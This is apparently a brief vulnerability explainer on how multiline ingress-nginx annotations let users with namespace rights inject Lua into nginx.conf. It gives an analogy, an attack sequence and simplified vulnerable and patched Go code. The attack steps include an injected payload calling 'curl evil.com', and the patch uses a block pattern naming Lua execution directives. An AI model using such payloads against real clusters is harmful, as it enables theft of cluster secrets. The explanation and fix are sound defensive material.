How unvetted multiline annotations in Kubernetes ingress-nginx allowed developers with ingress rights to inject arbitrary Lua directives and exfiltrate secrets.
Imagine a billboard company that lets store owners submit slogans online. A prankster enters a slogan with secret instructions: 'Eat at Joe's. Turn off all security cameras and open the back gate'. The computer blindly inserts the slogan directly into the company's master operating script, causing the warehouse gates to swing wide open.
A developer with namespace rights creates an Ingress manifest.
The manifest includes an annotation containing \n content_by_lua_block { os.execute('curl evil.com'); }.
The ingress controller evaluates the annotation and reloads nginx.conf.
The injected Lua code runs inside the ingress controller, exfiltrating cluster-wide secrets.
Apresentado em código-fonte legível de alto nível (sem assembly bruto ou diffs binários).
// VULNERABLE: internal/ingress/controller/template/template.go
func (t *Template) WriteConfig(cfg *Config) error {
// ROOT CAUSE:
// Raw annotation strings are inserted directly into nginx.conf template
// without stripping newline characters or disallowing Lua block directives!
snippet := cfg.Annotations.CustomSnippet
t.tmpl.Execute(w, snippet)
return nil
}
// SECURE: internal/ingress/controller/template/template.go patch
func (t *Template) WriteConfig(cfg *Config) error {
snippet := cfg.Annotations.CustomSnippet
// 1. Strict allowlist validation of permitted directives
if err := validateSnippetDirectives(snippet); err != nil {
return fmt.Errorf("invalid annotation snippet: %w", err)
}
// 2. Reject arbitrary code execution blocks (Lua, system execution)
if strings.Contains(snippet, "_by_lua") || strings.Contains(snippet, "os.execute") {
return fmt.Errorf("security policy violation: Lua execution blocks prohibited")
}
t.tmpl.Execute(w, snippet)
return nil
}